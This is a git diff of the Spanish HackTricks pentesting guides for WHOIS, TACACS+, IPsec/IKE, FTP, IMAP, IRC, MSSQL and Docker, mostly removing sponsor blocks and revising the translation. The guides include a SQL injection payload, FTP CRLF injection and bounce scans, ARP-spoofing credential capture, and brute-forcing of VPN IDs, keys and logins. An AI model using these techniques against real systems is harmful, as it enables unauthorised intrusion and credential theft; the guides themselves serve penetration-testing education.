instalación actual de docker. * `dockscan -v unix:///var/run/docker.sock` -* Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para conocer los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor: +* Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para ver los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor: * `docker run --rm -it r.j3ss.co/amicontained` * `docker run --rm -it --pid host r.j3ss.co/amicontained` * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` @@ -289,7 +276,7 @@ docker cp :/etc/ #### Registrando actividad sospechosa -* Puedes usar la herramienta [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) para detectar **comportamiento sospechoso en contenedores en ejecución**. +* Puedes usar la herramienta [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) para detectar **comportamientos sospechosos en contenedores en ejecución**. * Nota en el siguiente fragmento cómo **Falco compila un módulo del kernel e inserta**. Después de eso, carga las reglas y **comienza a registrar actividades sospechosas**. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos detectó cómo se abrió un shell dentro de uno de los contenedores. ```bash docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco @@ -340,17 +327,6 @@ Puedes usar auditd para monitorear docker. * [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) * [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/43-pentesting-whois.md b/network-services-pentesting/43-pentesting-whois.md index a8f327274..63db67e15 100644 --- a/network-services-pentesting/43-pentesting-whois.md +++ b/network-services-pentesting/43-pentesting-whois.md @@ -15,17 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Información Básica -El protocolo **WHOIS** sirve como un método estándar para **consultar sobre los registrantes o titulares de varios recursos de Internet** a través de bases de datos específicas. Estos recursos abarcan nombres de dominio, bloques de direcciones IP y sistemas autónomos, entre otros. Más allá de estos, el protocolo se aplica para acceder a un espectro más amplio de información. +El protocolo **WHOIS** sirve como un método estándar para **consultar sobre los registrantes o titulares de varios recursos de Internet** a través de bases de datos específicas. Estos recursos abarcan nombres de dominio, bloques de direcciones IP y sistemas autónomos, entre otros. Más allá de esto, el protocolo se aplica para acceder a un espectro más amplio de información. **Puerto por defecto:** 43 ``` @@ -43,18 +35,12 @@ Notice que a veces, al solicitar información a un servicio WHOIS, la base de da ![](<../.gitbook/assets/image (301).png>) -Además, el servicio WHOIS siempre necesita usar una **base de datos** para almacenar y extraer la información. Por lo tanto, una posible **SQLInjection** podría estar presente al **consultar** la base de datos con alguna información proporcionada por el usuario. Por ejemplo, haciendo: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` podrías ser capaz de **extraer toda** la **información** guardada en la base de datos. +Además, el servicio WHOIS siempre necesita usar una **base de datos** para almacenar y extraer la información. Por lo tanto, una posible **SQLInjection** podría estar presente al **consultar** la base de datos con información proporcionada por el usuario. Por ejemplo, haciendo: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` podrías ser capaz de **extraer toda** la **información** guardada en la base de datos. ## Shodan * `port:43 whois` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - ## HackTricks Automatic Commands ``` Protocol_Name: WHOIS #Protocol Abbreviation if there is one. diff --git a/network-services-pentesting/49-pentesting-tacacs+.md b/network-services-pentesting/49-pentesting-tacacs+.md index fef5781d7..f73362a45 100644 --- a/network-services-pentesting/49-pentesting-tacacs+.md +++ b/network-services-pentesting/49-pentesting-tacacs+.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Información Básica El protocolo **Terminal Access Controller Access Control System (TACACS)** se utiliza para validar centralmente a los usuarios que intentan acceder a enrutadores o Servidores de Acceso a la Red (NAS). Su versión mejorada, **TACACS+**, separa los servicios en autenticación, autorización y contabilidad (AAA). @@ -46,22 +38,17 @@ Se puede utilizar un **ataque de suplantación ARP para realizar un ataque Man-i ``` sudo loki_gtk.py ``` -If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.** +Si la clave se **rompe por fuerza bruta** (**generalmente en formato encriptado MD5**), **podemos acceder al equipo y descifrar el tráfico encriptado por TACACS.** -### Decrypting Traffic -Una vez que la clave se ha descifrado con éxito, el siguiente paso es **decrypt the TACACS-encrypted traffic**. Wireshark puede manejar el tráfico TACACS cifrado si se proporciona la clave. Al analizar el tráfico descifrado, se puede obtener información como el **banner utilizado y el nombre de usuario del admin**. +### Descifrando Tráfico +Una vez que la clave se ha descifrado con éxito, el siguiente paso es **descifrar el tráfico encriptado por TACACS**. Wireshark puede manejar tráfico TACACS encriptado si se proporciona la clave. Al analizar el tráfico descifrado, se puede obtener información como el **banner utilizado y el nombre de usuario del admin**. Al obtener acceso al panel de control del equipo de red utilizando las credenciales obtenidas, el atacante puede ejercer control sobre la red. Es importante señalar que estas acciones son estrictamente con fines educativos y no deben utilizarse sin la debida autorización. -## References +## Referencias * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/7-tcp-udp-pentesting-echo.md b/network-services-pentesting/7-tcp-udp-pentesting-echo.md index 44bea17f2..4e067a345 100644 --- a/network-services-pentesting/7-tcp-udp-pentesting-echo.md +++ b/network-services-pentesting/7-tcp-udp-pentesting-echo.md @@ -13,19 +13,11 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - # Información Básica Un servicio de eco está funcionando en este host. El servicio de eco fue diseñado para propósitos de prueba y medición y puede escuchar en los protocolos TCP y UDP. El servidor devuelve cualquier dato que recibe, sin modificación.\ -**Es posible causar una denegación de servicio conectando un servicio de eco al servicio de eco en la misma o en otra máquina**. Debido al número excesivamente alto de paquetes producidos, las máquinas afectadas pueden quedar efectivamente fuera de servicio.\ +**Es posible causar una denegación de servicio conectando un servicio de eco al servicio de eco en la misma máquina u otra**. Debido al número excesivamente alto de paquetes producidos, las máquinas afectadas pueden quedar efectivamente fuera de servicio.\ Info de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) **Puerto por Defecto:** 7/tcp/udp @@ -51,12 +43,6 @@ Hello echo #This is the response [CA-1996-01 Ataque de Denegación de Servicio por UDP](http://www.cert.org/advisories/CA-1996-01.html) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/network-services-pentesting/ipsec-ike-vpn-pentesting.md b/network-services-pentesting/ipsec-ike-vpn-pentesting.md index f57f31ad9..13de863c7 100644 --- a/network-services-pentesting/ipsec-ike-vpn-pentesting.md +++ b/network-services-pentesting/ipsec-ike-vpn-pentesting.md @@ -16,23 +16,15 @@ Learn & practice GCP Hacking:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Información Básica **IPsec** es ampliamente reconocido como la principal tecnología para asegurar las comunicaciones entre redes (LAN a LAN) y desde usuarios remotos hasta la puerta de enlace de la red (acceso remoto), sirviendo como la columna vertebral para soluciones de VPN empresariales. El establecimiento de una **asociación de seguridad (SA)** entre dos puntos es gestionado por **IKE**, que opera bajo el paraguas de ISAKMP, un protocolo diseñado para la autenticación y el intercambio de claves. Este proceso se desarrolla en varias fases: -* **Fase 1:** Se crea un canal seguro entre dos puntos finales. Esto se logra mediante el uso de una Clave Precompartida (PSK) o certificados, empleando ya sea el modo principal, que implica tres pares de mensajes, o **modo agresivo**. +* **Fase 1:** Se crea un canal seguro entre dos puntos finales. Esto se logra mediante el uso de una Clave Precompartida (PSK) o certificados, empleando ya sea el modo principal, que involucra tres pares de mensajes, o **modo agresivo**. * **Fase 1.5:** Aunque no es obligatorio, esta fase, conocida como la Fase de Autenticación Extendida, verifica la identidad del usuario que intenta conectarse al requerir un nombre de usuario y una contraseña. -* **Fase 2:** Esta fase se dedica a negociar los parámetros para asegurar los datos con **ESP** y **AH**. Permite el uso de algoritmos diferentes a los de la Fase 1 para garantizar la **Perfect Forward Secrecy (PFS)**, mejorando la seguridad. +* **Fase 2:** Esta fase está dedicada a negociar los parámetros para asegurar los datos con **ESP** y **AH**. Permite el uso de algoritmos diferentes a los de la Fase 1 para asegurar la **Perfect Forward Secrecy (PFS)**, mejorando la seguridad. **Puerto por defecto:** 500/udp @@ -48,7 +40,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) ``` ## **Encontrar una transformación válida** -La configuración de IPSec puede estar preparada solo para aceptar una o pocas transformaciones. Una transformación es una combinación de valores. **Cada transformación** contiene una serie de atributos como DES o 3DES como el **algoritmo de cifrado**, SHA o MD5 como el **algoritmo de integridad**, una clave precompartida como el **tipo de autenticación**, Diffie-Hellman 1 o 2 como el **algoritmo de distribución de claves** y 28800 segundos como la **vida útil**. +La configuración de IPSec puede estar preparada solo para aceptar una o unas pocas transformaciones. Una transformación es una combinación de valores. **Cada transformación** contiene una serie de atributos como DES o 3DES como el **algoritmo de cifrado**, SHA o MD5 como el **algoritmo de integridad**, una clave precompartida como el **tipo de autenticación**, Diffie-Hellman 1 o 2 como el **algoritmo de distribución de claves** y 28800 segundos como la **vida útil**. Entonces, lo primero que tienes que hacer es **encontrar una transformación válida**, para que el servidor hable contigo. Para hacerlo, puedes usar la herramienta **ike-scan**. Por defecto, Ike-scan funciona en modo principal y envía un paquete a la puerta de enlace con un encabezado ISAKMP y una única propuesta con **ocho transformaciones dentro de ella**. @@ -70,7 +62,7 @@ Como puedes ver en la respuesta anterior, hay un campo llamado **AUTH** con el v * _**1 returned handshake; 0 returned notify:**_ Esto significa que el **objetivo está configurado para IPsec y está dispuesto a realizar la negociación IKE, y uno o más de los transformaciones que propusiste son aceptables** (una transformación válida se mostrará en la salida). * _0 returned handshake; 1 returned notify:_ Las puertas de enlace VPN responden con un mensaje de notificación cuando **ninguna de las transformaciones es aceptable** (aunque algunas puertas de enlace no lo hacen, en cuyo caso se debe intentar un análisis adicional y una propuesta revisada). -Entonces, en este caso ya tenemos una transformación válida, pero si estás en el 3er caso, entonces necesitas **forzar un poco para encontrar una transformación válida:** +Entonces, en este caso ya tenemos una transformación válida, pero si estás en el tercer caso, entonces necesitas **forzar un poco para encontrar una transformación válida:** Primero que todo, necesitas crear todas las transformaciones posibles: ```bash @@ -99,7 +91,7 @@ Cisco indica evitar el uso de los grupos DH 1 y 2 porque no son lo suficientemen ### Huella digital del servidor -Luego, puedes usar ike-scan para intentar **descubrir el proveedor** del dispositivo. La herramienta envía una propuesta inicial y deja de reproducir. Luego, **analiza** la **diferencia** de **tiempo** **entre** los **mensajes** recibidos del servidor y el patrón de respuesta correspondiente, el pentester puede identificar con éxito al proveedor de la puerta de enlace VPN. Además, algunos servidores VPN utilizarán la **carga útil opcional de Vendor ID (VID)** con IKE. +Luego, puedes usar ike-scan para intentar **descubrir el proveedor** del dispositivo. La herramienta envía una propuesta inicial y deja de reproducir. Luego, **analiza** la **diferencia** de **tiempo** **entre** los **mensajes** recibidos del servidor y el patrón de respuesta correspondiente, el pentester puede identificar con éxito el proveedor de la puerta de enlace VPN. Además, algunos servidores VPN utilizarán la **carga útil opcional de ID de proveedor (VID)** con IKE. **Especifica la transformación válida si es necesario** (usando --trans) @@ -127,10 +119,10 @@ Esto también se puede lograr con el script de nmap _**ike-version**_ ## Encontrar el ID correcto (nombre del grupo) -Para poder capturar el hash, necesitas una transformación válida que soporte el modo agresivo y el ID correcto (nombre del grupo). Probablemente no conocerás el nombre del grupo válido, así que tendrás que forzarlo por fuerza bruta.\ +Para poder capturar el hash, necesitas una transformación válida que soporte el modo agresivo y el ID correcto (nombre del grupo). Probablemente no conocerás el nombre del grupo válido, así que tendrás que forzarlo.\ Para hacerlo, te recomendaría 2 métodos: -### Fuerza bruta del ID con ike-scan +### Forzando el ID con ike-scan Primero que nada, intenta hacer una solicitud con un ID falso tratando de recopilar el hash ("-P"): ```bash @@ -156,19 +148,19 @@ Or use this dict (es una combinación de los otros 2 dicts sin repeticiones): ### Bruteforcing ID con Iker -[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) también utiliza **ike-scan** para bruteforcear posibles nombres de grupo. Sigue su propio método para **encontrar un ID válido basado en la salida de ike-scan**. +[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) también utiliza **ike-scan** para hacer bruteforce a posibles nombres de grupo. Sigue su propio método para **encontrar un ID válido basado en la salida de ike-scan**. ### Bruteforcing ID con ikeforce -[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) es una herramienta que se puede usar para **bruteforcear IDs también**. Esta herramienta **intenta explotar diferentes vulnerabilidades** que podrían usarse para **distinguir entre un ID válido y un ID no válido** (podría tener falsos positivos y falsos negativos, por eso prefiero usar el método ike-scan si es posible). +[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) es una herramienta que se puede usar para **hacer bruteforce a IDs también**. Esta herramienta **intenta explotar diferentes vulnerabilidades** que podrían usarse para **distinguir entre un ID válido y un ID no válido** (podría tener falsos positivos y falsos negativos, por eso prefiero usar el método ike-scan si es posible). Por defecto, **ikeforce** enviará al principio algunos IDs aleatorios para verificar el comportamiento del servidor y determinar la táctica a usar. -* El **primer método** es bruteforcear los nombres de grupo buscando la información **Dead Peer Detection DPD** de los sistemas Cisco (esta información solo es respondida por el servidor si el nombre del grupo es correcto). +* El **primer método** es hacer bruteforce a los nombres de grupo buscando la información de **Dead Peer Detection DPD** de los sistemas Cisco (esta información solo es respondida por el servidor si el nombre del grupo es correcto). * El **segundo método** disponible es **verificar el número de respuestas enviadas a cada intento** porque a veces se envían más paquetes cuando se usa el ID correcto. * El **tercer método** consiste en **buscar "INVALID-ID-INFORMATION" en respuesta a un ID incorrecto**. -* Finalmente, si el servidor no responde nada a las verificaciones, **ikeforce** intentará bruteforcear el servidor y verificar si cuando se envía el ID correcto, el servidor responde con algún paquete.\ -Obviamente, el objetivo de bruteforcear el ID es obtener el **PSK** cuando tienes un ID válido. Luego, con el **ID** y el **PSK** tendrás que bruteforcear el XAUTH (si está habilitado). +* Finalmente, si el servidor no responde nada a las verificaciones, **ikeforce** intentará hacer bruteforce al servidor y verificar si cuando se envía el ID correcto, el servidor responde con algún paquete.\ +Obviamente, el objetivo de hacer bruteforce al ID es obtener el **PSK** cuando tienes un ID válido. Luego, con el **ID** y el **PSK** tendrás que hacer bruteforce al XAUTH (si está habilitado). Si has descubierto una transformación específica, añádela en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de agregar un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente). ```bash @@ -205,7 +197,7 @@ Al pasar a **IKEv2**, se observa un cambio notable donde se utiliza **EAP (Proto ### Captura de credenciales MitM en la red local -Así puedes capturar los datos del inicio de sesión usando _fiked_ y ver si hay algún nombre de usuario predeterminado (Necesitas redirigir el tráfico IKE a `fiked` para el sniffing, lo cual se puede hacer con la ayuda de ARP spoofing, [más info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked actuará como un punto final de VPN y capturará las credenciales de XAuth: +Así puedes capturar los datos de inicio de sesión usando _fiked_ y ver si hay algún nombre de usuario predeterminado (Necesitas redirigir el tráfico IKE a `fiked` para el sniffing, lo cual se puede hacer con la ayuda de ARP spoofing, [más info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked actuará como un punto final de VPN y capturará las credenciales de XAuth: ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` @@ -213,7 +205,7 @@ También, usando IPSec intenta realizar un ataque MitM y bloquear todo el tráfi ### Fuerza bruta del nombre de usuario y contraseña XAUTH con ikeforce -Para realizar fuerza bruta en el **XAUTH** (cuando conoces un nombre de grupo **id** válido y el **psk**) puedes usar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas: +Para realizar fuerza bruta del **XAUTH** (cuando conoces un nombre de grupo **id** válido y el **psk**) puedes usar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` @@ -221,7 +213,7 @@ De esta manera, ikeforce intentará conectarse utilizando cada combinación de n Si encontraste una o varias transformaciones válidas, simplemente úsalas como en los pasos anteriores. -## Autenticación con un VPN IPSEC +## Autenticación con una VPN IPSEC En Kali, **VPNC** se utiliza para establecer túneles IPsec. Los **perfiles** deben estar ubicados en el directorio `/etc/vpnc/`. Puedes iniciar estos perfiles utilizando el comando _**vpnc**_. @@ -260,11 +252,6 @@ Asegúrese de que se utilicen valores reales y seguros para reemplazar los marca * `port:500 IKE` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/network-services-pentesting/pentesting-ftp/README.md b/network-services-pentesting/pentesting-ftp/README.md index 18d118289..d0e8d199b 100644 --- a/network-services-pentesting/pentesting-ftp/README.md +++ b/network-services-pentesting/pentesting-ftp/README.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Información Básica El **Protocolo de Transferencia de Archivos (FTP)** sirve como un protocolo estándar para la transferencia de archivos a través de una red de computadoras entre un servidor y un cliente.\ @@ -35,7 +27,7 @@ PORT STATE SERVICE ``` ### Conexiones Activas y Pasivas -En **FTP Activo**, el **cliente** FTP primero **inicia** la **conexión** de control desde su puerto N al puerto de comando del servidor FTP – puerto 21. El **cliente** luego **escucha** en el puerto **N+1** y envía el puerto N+1 al servidor FTP. El **servidor** FTP luego **inicia** la **conexión** de datos, desde **su puerto M al puerto N+1** del cliente FTP. +En **FTP Activo**, el **cliente** FTP primero **inicia** la **conexión** de control desde su puerto N al puerto de comando del servidor FTP – puerto 21. El **cliente** luego **escucha** en el puerto **N+1** y envía el puerto N+1 al servidor FTP. El **Servidor** FTP luego **inicia** la **conexión** de datos, desde **su puerto M al puerto N+1** del cliente FTP. Pero, si el cliente FTP tiene un firewall configurado que controla las conexiones de datos entrantes desde el exterior, entonces el FTP activo puede ser un problema. Y, una solución viable para eso es el FTP Pasivo. @@ -136,7 +128,7 @@ Puedes conectarte a un servidor FTP usando un navegador (como Firefox) utilizand ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Nota que si una **aplicación web** está enviando datos controlados por un usuario **directamente a un servidor FTP**, puedes enviar doble URL encode `%0d%0a` (en doble URL encode esto es `%250d%250a`) bytes y hacer que el **servidor FTP realice acciones arbitrarias**. Una de estas posibles acciones arbitrarias es descargar contenido de un servidor controlado por un usuario, realizar escaneo de puertos o intentar comunicarse con otros servicios basados en texto plano (como http). +Nota que si una **aplicación web** está enviando datos controlados por un usuario **directamente a un servidor FTP**, puedes enviar bytes de doble codificación URL `%0d%0a` (en doble codificación URL esto es `%250d%250a`) y hacer que el **servidor FTP realice acciones arbitrarias**. Una de estas posibles acciones arbitrarias es descargar contenido de un servidor controlado por un usuario, realizar escaneo de puertos o intentar comunicarse con otros servicios basados en texto plano (como http). ## Descargar todos los archivos del FTP ```bash @@ -156,7 +148,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ * \*\*`EPRT |2|127.0.0.1|80|`\*\*Esto indicará al servidor FTP que establezca una conexión TCP (_indicado por "2"_) con la IP 127.0.0.1 en el puerto 80. Este comando **soporta IPv6**. * **`LIST`** Esto enviará la lista de archivos en la carpeta actual * **`LIST -R`** Listar recursivamente (si lo permite el servidor) -* **`APPE /path/something.txt`** Esto indicará al FTP que almacene los datos recibidos de una **conexión pasiva** o de una conexión **PORT/EPRT** en un archivo. Si el nombre del archivo existe, se añadirá la información. +* **`APPE /path/something.txt`** Esto indicará al FTP que almacene los datos recibidos de una conexión **pasiva** o de una conexión **PORT/EPRT** en un archivo. Si el nombre del archivo existe, se añadirá la información. * **`STOR /path/something.txt`** Como `APPE` pero sobrescribirá los archivos * **`STOU /path/something.txt`** Como `APPE`, pero si existe no hará nada. * **`RETR /path/to/file`** Se debe establecer una conexión pasiva o de puerto. Luego, el servidor FTP enviará el archivo indicado a través de esa conexión @@ -189,7 +181,7 @@ Es muy probable que esto **produzca un error como** _**Socket no writable**_ **p posts.txt {% endfile %} -* Intenta **llenar la solicitud con datos "basura" relativos al protocolo** (hablando con FTP, tal vez solo comandos basura o repitiendo la instrucción `RETR` para obtener el archivo) +* Intenta **llenar la solicitud con datos "basura" relativos al protocolo** (hablando con FTP quizás solo comandos basura o repitiendo la instrucción `RETR` para obtener el archivo) * Simplemente **llena la solicitud con muchos caracteres nulos u otros** (divididos en líneas o no) De todos modos, aquí tienes un [viejo ejemplo sobre cómo abusar de esto para hacer que un servidor FTP descargue un archivo de otro servidor FTP.](ftp-bounce-download-2oftp-file.md) @@ -224,15 +216,6 @@ La configuración predeterminada de vsFTPd se puede encontrar en `/etc/vsftpd.co * `ftp` * `port:21` -*** - -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** ## HackTricks Automatic Commands ``` diff --git a/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index a7f614883..e5c63a929 100644 --- a/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## FTP Bounce - Scanning ### Manual @@ -53,12 +45,6 @@ nmap -b :@ nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443 ``` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/network-services-pentesting/pentesting-imap.md b/network-services-pentesting/pentesting-imap.md index a52b104c4..da73b959e 100644 --- a/network-services-pentesting/pentesting-imap.md +++ b/network-services-pentesting/pentesting-imap.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Protocolo de Acceso a Mensajes de Internet El **Protocolo de Acceso a Mensajes de Internet (IMAP)** está diseñado con el propósito de permitir a los usuarios **acceder a sus mensajes de correo electrónico desde cualquier ubicación**, principalmente a través de una conexión a Internet. En esencia, los correos electrónicos son **mantenidos en un servidor** en lugar de ser descargados y almacenados en el dispositivo personal de un individuo. Esto significa que cuando se accede o se lee un correo electrónico, se hace **directamente desde el servidor**. Esta capacidad permite la conveniencia de revisar correos electrónicos desde **múltiples dispositivos**, asegurando que no se pierdan mensajes independientemente del dispositivo utilizado. @@ -42,7 +34,7 @@ openssl s_client -connect :993 -quiet ``` ### NTLM Auth - Divulgación de información -Si el servidor admite autenticación NTLM (Windows), puedes obtener información sensible (versiones): +Si el servidor admite la autenticación NTLM (Windows), puedes obtener información sensible (versiones): ``` root@kali: telnet example.com 143 * OK The Microsoft Exchange IMAP4 service is ready. @@ -157,12 +149,6 @@ done * `port:143 CAPABILITY` * `port:993 CAPABILITY` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - ## Comandos Automáticos de HackTricks ``` Protocol_Name: IMAP #Protocol Abbreviation if there is one. diff --git a/network-services-pentesting/pentesting-irc.md b/network-services-pentesting/pentesting-irc.md index 6b04a977c..261d1fe89 100644 --- a/network-services-pentesting/pentesting-irc.md +++ b/network-services-pentesting/pentesting-irc.md @@ -15,25 +15,12 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ## Información Básica IRC, inicialmente un **protocolo de texto plano**, fue asignado **194/TCP** por IANA, pero comúnmente se ejecuta en **6667/TCP** y puertos similares para evitar la necesidad de **privilegios de root** para su operación. -Un **apodo** es todo lo que se necesita para conectarse a un servidor. Tras la conexión, el servidor realiza una búsqueda inversa de DNS en la IP del usuario. +Un **apodo** es todo lo que se necesita para conectarse a un servidor. Después de la conexión, el servidor realiza una búsqueda inversa de DNS en la IP del usuario. Los usuarios se dividen en **operadores**, que necesitan un **nombre de usuario** y **contraseña** para más acceso, y **usuarios** regulares. Los operadores tienen diferentes niveles de privilegios, con los administradores en la parte superior. @@ -98,17 +85,6 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66 * `buscando tu nombre de host` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 38ce52c78..18e9cb163 100644 --- a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Información Básica De [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): @@ -51,7 +43,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` {% hint style="info" %} -Si **no tienes credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas en el inicio de sesión varias veces usando un nombre de usuario existente. +Si **no** **tienes credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas en el inicio de sesión varias veces usando un nombre de usuario existente. {% endhint %} #### Metasploit (necesita credenciales) @@ -160,11 +152,11 @@ SELECT * FROM sysusers 1. **Securable:** Definido como los recursos gestionados por SQL Server para el control de acceso. Estos se categorizan en: * **Servidor** – Ejemplos incluyen bases de datos, inicios de sesión, puntos finales, grupos de disponibilidad y roles de servidor. -* **Base de Datos** – Ejemplos abarcan rol de base de datos, roles de aplicación, esquema, certificados, catálogos de texto completo y usuarios. +* **Base de datos** – Ejemplos abarcan rol de base de datos, roles de aplicación, esquema, certificados, catálogos 